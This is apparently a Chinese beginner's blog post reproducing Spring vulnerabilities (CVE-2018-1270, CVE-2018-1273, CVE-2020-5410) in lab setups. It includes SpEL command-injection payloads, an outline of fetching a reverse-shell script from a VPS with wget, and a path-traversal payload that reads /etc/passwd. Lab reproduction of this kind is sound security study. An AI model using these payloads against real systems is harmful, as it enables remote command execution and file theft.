前言 上周用了一周的时间把java基础部分看完了(也就是能看懂代码),打算把常见java框架的漏洞复现一下,后面着重web端的渗透测试以及实战项目,还要学免杀、社工(任重道远),所以不打算学习java框架了,以复现为主。
简介 Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益。
常见漏洞
Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
漏洞简介
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext
解析,造成命令执行漏洞。
影响范围
SpringFramework 5.0 ~ 5.0.4,4.3 ~ 4.3.14,以及停止维护的更老版本均受影响
漏洞复现
环境主页:
文章图片
spring messaging
是基于sockjs
(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket
通信,老式浏览器中使用ajax
通信。
STOMP协议:将数据组合成一个文本流。
sockjs协议:发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信。
执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
访问/gs-guide-websocket
:
使用作者给出的POC
即可执行命令。
说明:这里不做演示,作者给出的说明很完善。
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
漏洞简介
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响范围
Spring Data Commons 1.13至1.13.10(Ingalls SR10)
Spring Data REST 2.6至2.6.10(Ingalls SR10)
Spring Data Commons 2.0至2.0.5(Kay SR5)
Spring Data REST 3.0至3.0.5(Kay SR5)
较旧的不受支持的版本也会受到影响
漏洞复现
【漏洞复现|Spring框架漏洞合集】环境主页:
文章图片
注册用户进行抓包:
payload:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
![漏洞复现|Spring框架漏洞合集](https://img.it610.com/image/info8/740e2f93752a4eaca5bfba4750fcb60a.jpg)
文章图片
结果:
![漏洞复现|Spring框架漏洞合集](https://img.it610.com/image/info8/e46c5303e2194fb18c3e2d315d9923ee.jpg)
文章图片
反弹shell:
首先在vps上开启http服务,并编写bash反弹脚本:
![漏洞复现|Spring框架漏洞合集](https://img.it610.com/image/info8/3e96cd74e371488681193fc7561b264c.jpg)
文章图片
抓包执行命令,下载该脚本:
/usr/bin/wget -P 目录 脚本网址curl -L url -o
然后使用
/bin/bash
执行该脚本即可,但是我这里一直下载不了。烦死了…Spring Cloud Config 目录穿越漏洞(CVE-2020-5410) 环境搭建
下载 v2.2.2 版本并解压:
wget https://github.com/spring-cloud/spring-cloud-config/archive/v2.2.2.RELEASE.tar.gz
tar -zxvf v2.2.2.RELEASE.tar.gz
安装启动:
cd spring-cloud-config-2.2.2.RELEASE/spring-cloud-config-server
../mvnw spring-boot:run
查看是否启动成功(默认8888端口):
spring cloud config
或者使用docker进行搭建:
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE
docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo
![漏洞复现|Spring框架漏洞合集](https://img.it610.com/image/info8/62e38e96eae34ae3a93592f4a7ce7ece.jpg)
文章图片
影响版本
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8
漏洞复现
主页:
![漏洞复现|Spring框架漏洞合集](https://img.it610.com/image/info8/352b3f5d42574a5e900185a8950de138.jpg)
文章图片
payload:
/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/ddd
这里不知道为什么,payload打不了,所以又换了个环境:
http://vulfocus.fofa.so/
![漏洞复现|Spring框架漏洞合集](https://img.it610.com/image/info8/8bb5fc2dbce74a93bfd8f7083ff1ae40.jpg)
文章图片
心态炸了,不写了,找到一片文章,写的很详细:
Spring框架漏洞复现笔记